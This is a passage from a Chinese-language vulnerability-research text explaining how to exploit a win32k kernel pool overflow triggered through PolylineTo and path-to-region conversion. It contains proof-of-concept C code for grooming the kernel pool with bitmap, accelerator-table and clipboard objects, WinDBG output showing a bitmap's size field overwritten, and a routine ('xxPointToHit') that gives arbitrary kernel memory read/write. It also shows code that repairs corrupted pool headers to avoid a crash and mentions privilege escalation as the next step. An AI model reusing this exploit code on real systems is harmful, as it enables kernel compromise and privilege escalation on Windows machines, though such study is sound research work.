在测试环境中执行验证代码时,发现执行到第 2
次分配位图对象的后期阶段发生创建失败的错误,经过检查后发现是进程 GDI 对象数目已达到上限,随后适当调整验证代码的创建对象整体数目才得以继续执行。在实际应用时可随时根据进程句柄数、用户对象数、GDI 对象数具体情况随时调整选择分配的对象类型,以使利用逻辑能顺利进行下去。在当前系统环境下,用户对象和 GDI 对象的进程限额都是 10000
个,参见以下两个注册表路径的键值,如有必要可适当调整这两个键值的数值。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\GDIProcessHandleQuota HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\USERProcessHandleQuota
图 5-8 用户对象和 GDI 对象的进程限额
修改后的验证代码片段如下:
for (LONG i = 0; i < maxCount; i++) { point[i].x = i + 1; point[i].y = 5; // same values to ignore } for (LONG i = 0; i < 75; i++) { point[i].y = i + 1; // to rewrite such edge elements. } HDC hdc = GetDC(NULL); ret = BeginPath(hdc); for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) { ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i)); } ret = EndPath(hdc); // 0xF90+0x70=0x1000 for (LONG i = 0; i < 4000; i++) { // 0xE34+0x154+8=0xF90 hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL); } for (LONG i = 0; i < 5500; i++) { ACCEL acckey[0x0D] = { 0 }; // 0x0D*6+0x12+4+8~0x70 hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D); } for (LONG i = 0; i < 4000; i++) { // free original bitmaps ret = DeleteObject(hbitmap[i]); hbitmap[i] = NULL; } // 0xB70+0x420=0xF90 for (LONG i = 0; i < 4000; i++) { // create shim clipdatas // 0xB5C+0xC+8=0xB70 CreateClipboard(0xB5C); } for (LONG i = 0; i < 4000; i++) { // create usable bitmaps // 0xB1*0x01*4+0x154+8=0x420 hbitmap[i] = CreateBitmap(0x01, 0xB1, 1, 32, NULL); } for (LONG i = 2000; i < 4000; i++) { // dig hole to place edge buffer ret = DestroyAcceleratorTable(hacctab[i]); hacctab[i] = NULL; } // PathToRegion(hdc);
清单 5-21 增加垫片的修改版验证代码片段
将传入 PolylineTo
函数调用的坐标点数组中的 Y 轴坐标不同的点增加到 75
个,以使溢出写入的 EDGE
元素能跨越用作垫片的剪贴板数据对象到达间隔的位图表面对象缓冲区并覆盖其中的数据,且恰好末尾的 EDGE
元素覆盖到位图表面对象的 sizlBitmap
成员域为止而不影响后续的内存数据。垫片和位图表面对象的新大小需要不断尝试和修改以达到最精确的域值覆盖。
编译后在环境中执行,观测到成员域 sizlBitmap
已被覆盖成比较感兴趣的值:
win32k!RGNMEMOBJ::vCreate+0xc5: 93fe3ffc ff1550001694 call dword ptr [win32k!_imp__ExAllocatePoolWithTag (94160050)] kd> dd esp l 14 93967828 00000021 00000068 6e677247 0f0106b6 kd> p win32k!RGNMEMOBJ::vCreate+0xcb: 93fe4002 8b5510 mov edx,dword ptr [ebp+10h] kd> r eax eax=cae5df98 kd> !pool cae5d000+1000 Pool page cae5e000 region is Paged session pool *cae5e000 size: b70 previous size: 0 (Allocated) *Uscb Pooltag Uscb : USERTAG_CLIPBOARD, Binary : win32k!_ConvertMemHandle cae5eb70 size: 420 previous size: b70 (Allocated) Gh15 cae5ef90 size: 70 previous size: 420 (Free ) Usac Process: 861fcaa8 kd> dc cae5eb70 l 10 cae5eb70 4684016e 35316847 02050ff1 00000000 n..FGh15........ cae5eb80 00000000 00000000 00000000 02050ff1 ................ cae5eb90 00000000 00000000 00000001 000000b1 ................ cae5eba0 000002c4 cae5eccc cae5eccc 00000004 ................ kd> p ... win32k!RGNMEMOBJ::vCreate+0x1d7: 93fe410e e8a7000d00 call win32k!vConstructGET (940b41ba) kd> p win32k!RGNMEMOBJ::vCreate+0x1dc: 93fe4113 8365cc00 and dword ptr [ebp-34h],0 kd> dc cae5eb70 l 10 cae5eb70 ffffffff ffffffff cae5df98 00000005 ................ cae5eb80 00000000 00000000 ffffffff 00000300 ................ cae5eb90 00000500 0147ae14 00000001 ffffffff ......G......... cae5eba0 000002c4 cae5eccc cae5eccc 00000004 ................
清单 5-22 成员 sizlBitmap 已被覆盖成感兴趣的值
这样一来,成员 sizlBitmap.cx
和 sizlBitmap.cy
被覆盖成 0x01
和 0xFFFFFFFF
,而 pvScan0
成员的值并未被污染,我们就可以利用该 sizlBitmap.cy
成员值的广阔范围,将当前位图表面对象作为主控位图对象,通过其对位于下一内存页中的位图表面对象进行操作,将其作为扩展位图表面对象,覆盖其 pvScan0
指针为我们想读写的地址,随后再通过 API 函数操作扩展位图表面对象,实现“指哪打哪”的目的。
kd> !pool cae5d000+2000 Pool page cae5f000 region is Paged session pool *cae5f000 size: b70 previous size: 0 (Allocated) *Uscb Pooltag Uscb : USERTAG_CLIPBOARD, Binary : win32k!_ConvertMemHandle cae5fb70 size: 420 previous size: b70 (Allocated) Gh15 cae5ff90 size: 70 previous size: 420 (Free ) Usac Process: 861fcaa8 kd> dc cae5fb70 l 10 cae5fb70 4684016e 35316847 02050fb2 00000000 n..FGh15........ cae5fb80 00000000 00000000 00000000 02050fb2 ................ cae5fb90 00000000 00000000 00000001 000000b1 ................ cae5fba0 000002c4 cae5fccc cae5fccc 00000004 ................
清单 5-23 下一内存页中的位图表面对象内存块
定位主控位图句柄
漏洞触发之前的代码逻辑已万事俱备,接下来处理漏洞触发之后的工作。既然要利用当前的主控位图表面对象,就要找它到是我们分配的大量的位图对象中的哪一个。这就需要用到 GetBitmapBits
函数,其函数原型如下:
LONG GetBitmapBits( _In_ HBITMAP hbmp, _In_ LONG cbBuffer, _Out_ LPVOID lpvBits );
通过向 GetBitmapBits
函数传入位图句柄、读取位图字节数、存储位图数据的缓冲区,将会读出指定大小的位图数据,并将实际读取的数据作为返回值返回。通过 GetBitmapBits
函数获取位图像素位数据具有如下的主要调用路径:
图 5-9 通过 GetBitmapBits 获取位图像素位数据的主要调用路径
在函数 win32k!NtGdiGetBitmapBits
中首先向 GreGetBitmapBits
函数调用传入空的请求字节数和缓冲区指针以获取该位图表面对象的像素位数据的实际大小,用来防止传递给 GetBitmapBits
的请求字节数参数超过位图像素位数据的实际大小。在函数 GreGetBitmapBits
中只通过如下的赋值语句计算位图像素位数据的大小作为返回值而直接返回:
v4 = *((_DWORD *)pSurf + 9) * (((_DWORD)(*((_DWORD *)pSurf + 8) * gaulConvert[*((_DWORD *)pSurf + 0xF)] + 15) >> 3) & 0x1FFFFFFE);
变量 pSurf
是栈上的 SURFREF
类对象中第一个成员变量 SURFACE *ps
指针,指向该 SURFREF
对象关联的 SURFACE
类对象;该 SURFREF
对象是在函数开始时通过 HBITMAP a1
参数构造初始化并关联的。上面的赋值语句获取主控位图表面对象相关的 SURFACE->so.iBitmapFormat
成员域的数值,并将数值作为索引在全局数组 gaulConvert
获取该位图格式的像素点位数,随后进行逻辑对齐运算并计算与 SURFACE->so.sizlBitmap
成员中横向和纵向像素点个数的乘积,得到该位图对象的像素点数据实际大小。需要留意的是,赋值语句中计算实际大小的关键在于 SURFACE->so.sizlBitmap
成员域,而没有校验 SURFACE->so.cjBits
代表像素点总字节数的成员域的值。
随后函数 win32k!NtGdiGetBitmapBits
根据返回的数值判断是否需要更新传入的请求字节数参数的数值。在接下来第二次调用 GreGetBitmapBits
函数时,传入实际的请求字节数和缓冲区指针,函数得以向后执行。
if ( v4 ) { lInitOffset = *pOffset; if ( *pOffset < 0 || lInitOffset >= v4 ) goto LABEL_30; if ( cjTotal + lInitOffset > v4 ) cjTotal = v4 - lInitOffset; if ( cjTotal ) { v17 = cjTotal; v18 = pjBuffer; v9 = 0; v20 = lInitOffset; if ( pSurf ) v9 = pSurf + 0x10; bDoGetSetBitmapBits((struct _SURFOBJ *)&v11, (struct _SURFOBJ *)v9, 1); v4 = v17; *pOffset = v17 + lInitOffset; } else { LABEL_30: v4 = 0; } }
清单 5-24 函数 GreGetBitmapBits 代码片段
随后函数调用 bDoGetSetBitmapBits
函数执行获取位图像素点数据的具体操作。函数 bDoGetSetBitmapBits
具有三个参数:参数 SURFOBJ *a1
指示主控位图 SURFOBJ
对象指针,参数 SURFOBJ *a2
指示源位图 SURFOBJ
对象指针。参数 a3
是 BOOL
类型的数值,用于表示本次操作是获取还是写入像素点数据。
当参数 a3
值为 1
时,函数将从 a2
指向的 SURFOBJ
对象中获取像素点数据并写入 a1
参数指向 SURFOBJ
对象关联的缓冲区中;当 a3
值为 0
时,函数将 a1
参数指向的 SURFOBJ
对象关联的位图数据写入 a2
指向 SURFOBJ
对象关联的位图中。根据上面的代码片段,当前调用向该参数传递 1
表示这次调用是获取操作。
传递给 bDoGetSetBitmapBits
函数的第二个参数是当前 SURFACE
对象中的 SURFOBJ so
成员的地址;而传递的第一个参数的值是变量 v11
的地址,这表示在当前函数栈上从 v11
变量地址开始存储一个 SURFOBJ
临时对象,在函数稍早位置对这个临时对象的各个成员域进行了初始化。根据偏移计算,变量 v17
是 SURFOBJ
临时对象中的 cjBits
成员。在函数中调用 bDoGetSetBitmapBits
函数之前,计算得到的用于指示实际请求字节数的 cjTotal
变量的值以及从用户进程中传入的缓冲区指针 pjBuffer
分别被赋给临时 SURFOBJ
对象的 cjBits
和 pvBits
成员,并且在函数调用返回后成员 cjBits
的值被赋给作为返回值的 v4
变量。这样一来临时对象的 cjBits
成员必然在 bDoGetSetBitmapBits
函数中被更新。
v3 = a2; ... v4 = a1; if ( *((_DWORD *)a1 + 7) ) { a2 = (struct _SURFOBJ *)*((_DWORD *)a1 + 7); a1 = (struct _SURFOBJ *)*((_DWORD *)v3 + 8); v22 = *((_DWORD *)v3 + 9); v5 = ((_DWORD)(*((_DWORD *)v3 + 4) * gaulConvert[*((_DWORD *)v3 + 0xB)] + 15) >> 3) & 0x1FFFFFFE; v6 = v5 * *((_DWORD *)v3 + 5); v7 = *((_DWORD *)v4 + 9); cjTotal = *((_DWORD *)v4 + 6); a3 = *((_DWORD *)v4 + 6); if ( (v7 & 0x80000000) != 0 || v7 >= v6 ) { *((_DWORD *)v4 + 6) = 0; return 0; } if ( cjTotal + v7 > v6 ) { cjTotal = v6 - v7; a3 = v6 - v7; } *((_DWORD *)v4 + 6) = cjTotal; ... while ( 1 ) { v11 = v26--; if ( !v11 ) break; memcpy((void *)a2, (const void *)a1, v5); a2 = (struct _SURFOBJ *)((char *)a2 + v5); a1 = (struct _SURFOBJ *)((char *)a1 + v22); } if ( v10 ) memcpy((void *)a2, (const void *)a1, v10); }
清单 5-25 函数 bDoGetSetBitmapBits 获取像素点数据的代码片段
在函数 bDoGetSetBitmapBits
获取像素点数据的处理逻辑中,存在对主控 SURFOBJ
对象的 cjBits
成员赋值的语句(见上面的代码片段中的 (_DWORD *)v4+6
域的赋值)。总体而言,与前面初次执行 GreGetBitmapBits
函数获取位图表面对象的实际像素点数据大小的代码逻辑类似,根据 iBitmapFormat
和 sizlBitmap
域的值以及引入的外部偏移量的值综合计算出 cjBits
的值。
关注上面的内存拷贝循环语句,其中作为拷贝目标的 a2
值为位于用户进程地址空间的缓冲区地址,作为拷贝源的 a1
值为主控位图表面对象的位图数据区域地址(编译器捣的鬼,进行了变量和参数复用,对可读性造成困扰)。循环期间每次调用 memcpy
函数进行数据拷贝时,拷贝的长度为 v5
变量的值,理解代码逻辑可知,v5
变量的值为即时计算出的当前位图表面对象的位图数据扫描线长度。在调用的 memcpy
函数返回之后,对拷贝目标指针和源指针进行后移。可以注意到的是,对目标指针的后移量是即时计算出的当前位图表面对象的位图数据扫描线长度,而对源指针的后移量是存储在 SURFACE->so.lDelta
成员中域的数值。
这样一来问题就出现了:存储在 SURFACE->so.lDelta
成员域中的数值是在调用 SURFMEM::bCreateDIB
函数分配对象时赋值的,它的值是通过位图像素宽度和位图像素位类型的初始值计算出来的,而在当前函数调用时,位图像素宽度 SURFACE->so.sizlBitmap.cy
成员域的值早已被漏洞导致的溢出覆盖所污染,位图宽度的值已不再是原值了,这样的话在进行指针后移操作时,源缓冲区和目标缓冲区指针的后移量将不相同,导致最终写入用户进程缓冲区中的数据存在偏差。成员 iBitmapFormat
由于比较靠后所以未被溢出覆盖所触及会保持不变,则要想解决这个问题,就必须确保在漏洞覆盖位图表面对象的数据前后,成员域 sizlBitmap.cy
的值保持不变。反观前面的溢出覆盖的 WinDBG 调试数据,该成员域的值被覆盖为 0x01
,那么在我们的验证代码中创建位图对象时传递的位图像素宽度参数值就必须为 0x01
,将控制位图大小的职责完全由像素高度参数担负。笔者在这里踩了坑,所以特别提醒读者。
这样一来,通过以下的验证代码片段可从我们创建并保存的大量的位图句柄中定位出被覆盖数据的位图表面对象的句柄:
pBmpHunted = (PDWORD)malloc(0x1000); // memory stub LONG index = -1; POCDEBUG_BREAK(); for (LONG i = 0; i < 4000; i++) { if (GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted) > 0x2D0) { index = i; break; } } hbmpmain = hbitmap[index];
清单 5-26 定位被覆盖数据位图表面对象句柄的验证代码片段
上面的验证代码通过循环调用 GetBitmapBits
函数遍历位图句柄数组以定位被覆盖数据的位图表面对象的句柄,获取 0x1000
字节的一整个内存页大小的位图数据。大部分配有被覆盖数据的位图表面对象的像素点数据区域大小仍旧是原来的 0xB1*0x01*4=0x2C4
字节大小,所以返回值只可能是不超过 0x2C4
的数值;而针对被我们覆盖数据的主控位图表面对象而言,由于 sizlBitmap
成员的值被覆盖成 0x01
和 0xFFFFFFFF
数值,所以在计算位图像素点数据“实际大小”时,计算出来的结果是 0x(3)FFFFFFFC
,这是一个发生溢出的数值,高于 32
位的数据被舍弃。这样的话,当遍历到主控位图对象的句柄时,函数的返回值将必然是比 0x2D0
大的数,因此得以命中。命中成功后 pBmpHunted
缓冲区中就存储了从当前位图对象的位图像素点数据区域起始地址开始的 0x1000
字节范围的内存数据。
访问违例
然而在环境中实际测试的时候发现了问题,在调用 GetBitmapBits
函数期间 WinDBG 捕获到了访问违例的异常:
Access violation - code c0000005 (!!! second chance !!!) win32k!PDEVOBJ::bAllowShareAccess+0x52: 938e391f 857824 test dword ptr [eax+24h],edi kd> k # ChildEBP RetAddr 00 95a9bb2c 938f08e1 win32k!PDEVOBJ::bAllowShareAccess+0x52 01 95a9bb3c 9386208e win32k!NEEDGRELOCK::vLock+0x1b 02 95a9bbd4 9386650f win32k!GreGetBitmapBits+0xce 03 95a9bc20 83e891ea win32k!NtGdiGetBitmapBits+0x86 04 95a9bc20 774170b4 nt!KiFastCallEntry+0x12a 05 0019f0d0 7630c1d3 ntdll!KiFastSystemCallRet 06 0019f0d4 011699a0 gdi32!NtGdiGetBitmapBits+0xc WARNING: Frame IP not in any known module. Following frames may be wrong. 07 0019fe70 0116a48a 0x11699a0 08 0019fec4 011a085e 0x116a48a 09 0019fed8 011a0760 0x11a085e 0a 0019ff30 011a060d 0x11a0760 0b 0019ff38 011a0878 0x11a060d 0c 0019ff40 75a93c45 0x11a0878 0d 0019ff4c 774337f5 kernel32!BaseThreadInitThunk+0xe 0e 0019ff8c 774337c8 ntdll!__RtlUserThreadStart+0x70 0f 0019ffa4 00000000 ntdll!_RtlUserThreadStart+0x1b kd> r eax eax=00044ea8 kd> dc eax+24h l 4 00044ecc ???????? ???????? ???????? ???????? ????????????????
清单 5-27 调用 GetBitmapBits 期间发生访问违例异常
根据栈回溯发现是在 GreGetBitmapBits
函数中调用 NEEDGRELOCK::vLock
函数,然后在其中调用 PDEVOBJ::bAllowShareAccess
函数时发生异常的。
在函数 GreGetBitmapBits
中存在一处 NEEDGRELOCK::vLock
函数的调用:
v40 = *((_DWORD *)pSurf + 7); NEEDGRELOCK::vLock((NEEDGRELOCK *)&v38, (struct PDEVOBJ *)&v40);
将地址作为外部参数传入函数调用的 v40
变量存储的是当前表面对象的 SURFACE->so.hdev
成员的值,该成员是指向某个设备对象的指针。变量 v4 的地址是作为 PDEVOBJ
对象指针传入 NEEDGRELOCK::vLock
函数中的,PDEVOBJ
类型对象中只含有一个成员变量:指向对应的实际设备对象的指针,与 SURFACE->so.hdev
成员域的类型相同。
在 NEEDGRELOCK::vLock
函数中,对 PDEVOBJ
对象的指针成员的值进行判断,非空的话就调用 PDEVOBJ
对象的 bAllowShareAccess
成员函数,在其中访问实际设备对象中的数据。
void __thiscall NEEDGRELOCK::vLock(NEEDGRELOCK *this, struct PDEVOBJ *a2) { NEEDGRELOCK *v2; // esi@1 PERESOURCE v3; // ecx@4 v2 = this; *(_DWORD *)this = 0; if ( *(_DWORD *)a2 && !PDEVOBJ::bAllowShareAccess(a2) && !(*(_DWORD *)(*(_DWORD *)a2 + 36) & 0x8000) ) { v3 = ghsemGreLock; *(_DWORD *)v2 = ghsemGreLock; GreAcquireSemaphore(v3); TraceGreAcquireSemaphoreEx(L"hsem", *(_DWORD *)v2, 2); } }
清单 5-28 函数 NEEDGRELOCK::vLock 代码片段
问题就出在这里,PDEVOBJ
对象中的指针成员的值来源于当前表面对象的 SURFACE->so.hdev
成员域,该域的值要么是空,要么是指向某个实际设备对象的指针。默认情况下值为空,只是在前面的 EDGE
元素溢出访问的时候,被覆盖成了非空的值:
kd> dc cae5eb70 l 10 cae5eb70 ffffffff ffffffff cae5df98 00000005 ................ cae5eb80 00000000 00000000 ffffffff 00000300 ................ cae5eb90 00000500 0147ae14 00000001 ffffffff ......G......... cae5eba0 000002c4 cae5eccc cae5eccc 00000004 ................
清单 5-29 成员域 SURFACE->so.hdev 被覆盖成非空值
如上所示,内存地址 0xcae5eb94
位置是 SURFACE->so.hdev
成员域,已被覆盖成的 0x147ae14
数值显然不是某个实际设备对象的地址。接下来继续追查对该成员域进行覆盖的时机,最终定位到在 vConstructGET
函数中针对最后一组两点描述的边进行 AddEdgeToGET
函数调用并处理 EDGE
元素数据时,在函数中进行了如下判断和赋值:
if ( iXWidth < iYHeight ) { *((_DWORD *)pFreeEdge + 7) = 0; } else { v15 = iXWidth; v17 = v15 % iYHeight; v16 = v15 / iYHeight; iXWidth = v17; v18 = *((_DWORD *)pFreeEdge + 8) == -1; *((_DWORD *)pFreeEdge + 7) = v16; if ( v18 ) *((_DWORD *)pFreeEdge + 7) = -v16; }
清单 5-30 函数 AddEdgeToGET 对 EDGE->iXWhole 成员的赋值
根据前面的 EDGE
结构体定义可知,pFreeEdge+0x1C
字节偏移的域是 iXWhole
成员。针对当前两点描述的边,如果斜率大于 1
则将会给 iXWhole
域赋值为 0
;否则会根据 iXDirection
成员的值是否为 -1
对 iXWhole
赋值为 ±(iXWidth/iYHeigth)
。
回过头来检查验证代码,发现按照当前代码逻辑,由于对坐标点数组赋初值的方法不当,导致最后一组两点描述的边的顶点坐标成为 (0x6666668,0x5)
和 (0,0)
,这样一来在处理末尾的 EDGE
元素时,斜率就不可能大于 1
,所以 iXWhole
成员才会赋值为非空值。所以修改验证代码对坐标点数组赋初值的代码逻辑:
for (LONG i = 0; i < maxCount; i++) { point[i].x = (i % 2) + 1; point[i].y = 100; }
清单 5-31 修改的坐标点数组赋初值的代码逻辑
这样一来在函数中处理每个 EDGE
元素时,边的斜率将始终大于 1
,成员 SURFACE->so.hdev
将不会被赋值为非空的值,在函数 NEEDGRELOCK::vLock
中判断指针成员的值时,遇空值将直接返回,不会进入 PDEVOBJ::bAllowShareAccess
函数调用,问题就得以解决。
kd> dc cb06db70 l 10 cb06db70 00000001 00000001 cb06db50 00000000 ........P....... cb06db80 00000001 00000000 fffffeff 00000100 ................ cb06db90 00006400 00000000 00000001 ffffffff .d.............. cb06dba0 000002c4 cb06dccc cb06dccc 00000004 ................
清单 5-32 成员域 hdev 没有被覆盖成非空值
定位扩展位图句柄
得到主控位图表面对像的句柄之后,接下来需要通过该句柄控制其修改该位图表面对象所在内存块下一内存页中的位图表面对象作为扩展位图对象,修改其 SURFACE->so.pvScan0
成员域指向特定的地址,便可通过该扩展位图对象的句柄实现任意地址读写的目的。上面的验证代码中,命中成功时,变量 pBmpHunted
指向的缓冲区中存储的就是从当前位图表面对象的像素点数据区域起始地址开始的一整个内存页的数据,其中包括扩展位图表面对象的完整数据。接下来通过修改 pBmpHunted
指向的缓冲区中特定数据并通过调用 SetBitmapBits
函数将缓冲区写入当前位图表面对象,就可以实现对扩展位图对象的操纵。
图 5-10 主控位图对象访问的 0x1000 字节数据包含扩展位图对象的成员数据
当然,我们首先需要在位图句柄列表中定位出被用作扩展位图对象的位图表面对象所对应的句柄。说虽然在内核中当前位图表面对象与在下一内存页中分配的位图表面对象在内存布局方面相邻近,但在句柄表中两者先后顺序不一定相邻,所以我打算故技重施,先将扩展位图表面对象的 sizlBitmap
域修改为较大的值,再通过调用 GetBitmapBits
函数的方式遍历定位句柄。
我将前面通过 GetBitmapBits
函数获取到的从主控位图表面对象位图像素区域开始的整个内存页数据存放在分配的缓冲区中,并以 DWORD
指针的方式解析,将所有数据输出,通过与下一内存页中的扩展位图像素数据进行比对,成功在分配的缓冲区中找到了扩展位图对象的数据:
[936]8769D520 [937]4684016E [938]35316847 [939]02050FC8 [940]00000000 [941]00000000 [942]00000000 [943]00000000 [944]02050FC8 [945]00000000 [946]00000000 [947]00000001 [948]000000B1 [949]000002C4 [950]CB00FCCC [951]CB00FCCC [952]00000004 [953]00002D50 [954]00000006 [955]00010000 [956]00000000 [957]04800200 [958]00000000 [959]00000000 [960]00000000 [961]00000000 [962]00000000 [963]00000000
清单 5-33 分配的缓冲区数据的转储
其中,下标 948
的元素数值是扩展位图对象的 SURFACE->so.sizlBitmap.cy
成员域的值,下标 951
的元素数值是 SURFACE->so.pvScan0
成员域的值。那么接下来将修改下标 948
的元素数值并通过 SetBitmapBits
写入扩展位图对象,再通过遍历句柄表的方式定位出扩展位图对象的句柄。
指哪打哪
到目前为止,已定位到了主控位图表面对象和扩展位图表面对象。通过主控位图表面对象作为接口修改缓冲区中下标 951
的元素数值并写入内核,可控制扩展位图表面对象的 SURFACE->so.pvScan0
成员域的值,这样一来只要将扩展位图表面对象的 SURFACE->so.pvScan0
成员域修改为任意内核地址,便可轻松实现对内核任意地址的读写,“指哪打哪”的目的就实现了。
BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb) { LONG ret = 0; pBmpHunted[iExtpScan0] = addr; ret = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted); if (ret < 0x1000) { return FALSE; } ret = SetBitmapBits(hBmpExtend, cb, pvBits); if (ret < (LONG)cb) { return FALSE; } return TRUE; }
清单 5-34 指哪打哪
修复受损数据
漏洞的溢出覆盖破坏了主控位图表面对象所在内存页中的内存块的 POOL_HEADER
结构,这会导致利用进程在退出阶段释放对象的时候发生异常。为了解决这个问题,需要对被覆盖的相关内存块的头部结构进行修复。
被破坏 POOL_HEADER
结构的内存块是位于同一内存页起始位置的剪贴板数据对象所在内存块和主控位图表面对象所在的内存块。
根据前面的 WinDBG 调试数据显示,剪贴板数据对象所在内存块的池标记为“Uscb
”,而位图表面对象所在内存块的池标记是“Gh15
”。根据该特性,定位到扩展位图表面对象的 POOL_HEADER
结构位于缓冲区中的下标 937
和下标 938
元素中,而与扩展位图位于同一内存页的剪贴板数据对象所在内存块的 POOL_HEADER
结构位于缓冲区中的下标 205
和下标 206
元素中。这两组元素对中存储的 POOL_HEADER
结构是正常的未被污染的池头部结构数据。
在本分析中的情况下,每个坐落在预置内存间隙中的位图表面对象地址的低 12
位始终相同。如前面转储的缓冲区数据所示,成员域 SURFACE->so.pvScan0
指针指向 0xCB00FCCC
地址,根据前面的分析数据可计算出扩展位图表面对象所在内存块的池头部位于 0xCB00FB70
地址,而同一页中剪贴板数据对象对象位于 0xCB00F000
地址。将这两个地址向前移 0x1000
一个内存页的大小就可以定位到主控位图表面对象所在内存页中受污染的内存块 POOL_HEADER
位置,随后依据“指哪打哪”方案,将前面获取的未被污染的池头部结构数据再写入对应类型的受污染的位置,这样一来释放这些内存块时就不会有问题了。
另外还需要注意的是,必须对数据受污染的位图表面对象和剪贴板数据对象的某些特定成员域的值进行修复,才能保证在销毁这些对象时能够顺利进行。
前面提到过 _BASEOBJECT
结构,它是所有内核 GDI 对象类的基类。这就意味着所有内核 GDI 对象的起始位置存储的都是一个 _BASEOBJECT
结构,位图表面对象也不例外。该结构的第一个成员变量 HANDLE hmgr
存储当前 GDI 对象的用户句柄,该句柄与用户进程调用的创建 GDI 对象的 API 返回的句柄一致。在销毁位图表面对象进行时,在函数 SURFACE::bDeleteSurface
中会获取该成员域的值,并传入 HmgRemoveObject
和 HmgQueryAltLock
等函数进行相关处理。另外句柄值同样被存储在成员域 SURFACE->so.hsurf
中。如果不对这些成员域的值进行修复,那么在销毁该 GDI 对象时,将会发生访问违例等不可预料的错误。好在我们在前面已定位并保存了主控位图表面对象的句柄,将句柄值写入这两个域所在内存地址即可。
if ( !a3 && !HmgRemoveObject(*(HANDLE *)this, 0, 1, FreeSize == 2, 5) ) { if ( HmgQueryAltLock(*(_DWORD *)this) == 1 ) { ... } ... }
清单 5-35 函数 SURFACE::bDeleteSurface 访问 hmgr 成员
而对于位于同一内存页中被污染的剪贴板数据对象,由于该对象在当前活跃会话的生命周期内将不会被释放,所以就不需要对其被污染的成员域数据进行修复了。
// calc base page address iMemHunted = (pBmpHunted[iExtpScan0] & ~0xFFF) - 0x1000; DWORD szInputBit[0x100] = { 0 }; // buffer CONST LONG iTrueCbdHead = 205; CONST LONG iTrueBmpHead = 937; szInputBit[0] = pBmpHunted[iTrueCbdHead + 0]; szInputBit[1] = pBmpHunted[iTrueCbdHead + 1]; // fix clibdata pool header ret = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08); if (!ret) { return 0; } szInputBit[0] = pBmpHunted[iTrueBmpHead + 0]; szInputBit[1] = pBmpHunted[iTrueBmpHead + 1]; // fix bitmap pool header ret = xxPointToHit(iMemHunted + 0xb70, szInputBit, 0x08); if (!ret) { return 0; } szInputBit[0] = (DWORD)hBmpHunted; // fix bitmap hmgr ret = xxPointToHit(iMemHunted + 0xb78, szInputBit, 0x04); if (!ret) { return 0; } // fix bitmap hsurf ret = xxPointToHit(iMemHunted + 0xb8c, szInputBit, 0x04); if (!ret) { return 0; }
清单 5-36 修复受损内存数据的验证代码片段
至此,对该漏洞利用的验证代码已实现任意内核地址读写和无异常退出进程的能力,下一章节将研究实现通过任意内核地址读写的能力实现内核提权的目的。